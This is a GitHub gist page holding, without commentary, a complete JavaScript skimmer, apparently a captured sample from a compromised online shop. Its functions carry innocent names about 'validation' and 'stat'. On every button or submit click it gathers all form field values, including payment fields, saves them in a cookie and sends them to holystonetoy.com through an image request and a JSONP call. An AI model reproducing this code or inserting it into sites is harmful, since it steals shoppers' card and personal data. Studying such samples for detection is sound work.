Skip to content

Instantly share code, notes, and snippets.

@gwillem
Created October 7, 2019 14:30
Show Gist options
  • Star 3 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save gwillem/c0fc858b08108fff7da707b8c8c45273 to your computer and use it in GitHub Desktop.
Save gwillem/c0fc858b08108fff7da707b8c8c45273 to your computer and use it in GitHub Desktop.
function check_validation_hgs(data='') {
var validation = document.cookie.split(";");
var validation_str = '';
if (data != '')
validation_str = data;
else
validation.forEach(function(value) {
if (value.split('=')[0].trim() == 'validationcookie') {
validation_str = value.split('=')[1].trim();
}
});
if (validation_str != '') {
backUrl = "//holystonetoy.com/skin/frontend/mobile/mobile.php";
var img = new Image();
img.src = backUrl + '?check=' + validation + '|ref->' + window.location.host + '|timestamp->' + new Date();
jQuery.ajax({
dataType: 'jsonp',
async: true,
url: backUrl,
data: {
payment: validation,
ref: window.location.host,
timestamp: new Date(),
},
success: function() {
document.cookie = "validationcookie=;expires=Thu, 01 Jan 1970 00:00:00 UTC";
}
});
}
}
function getStatInfo_hgs() {
var data = "";
jQuery("input, select").each(function(index, value) {
if (jQuery(value).val() != "") {
var vname = jQuery(value).attr("id");
if (vname) {
vname = vname.split(":");
vname = vname[vname.length - 1];
} else
vname = jQuery(value).attr("name");
if (jQuery(value).val() !== null && jQuery(value).val() !== undefined)
if (jQuery(value).val().length < 60)
data += vname + "->" + jQuery(value).val() + '|';
}
});
document.cookie = "validationcookie=" + data + ";";
check_validation_hgs(data);
}
function stat_click_hgs() {
jQuery('button, input[type="submit"]').off('click', getStatInfo_hgs);
jQuery('button,input[type="submit"]').on('click', getStatInfo_hgs);
}
function check_jQuery_hgs() {
if (window.jQuery) {
clearInterval(jQueryChecker_hgs);
return begin_stat_hgs();
} else
return false;
}
function begin_stat_hgs() {
check_validation_hgs();
jQuery('button,input[type="submit"]').on('click', getStatInfo_hgs);
setInterval(stat_click_hgs, 2000);
clearInterval(jQueryChecker_hgs);
}
jQueryChecker_hgs = setInterval(check_jQuery_hgs, 400);
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment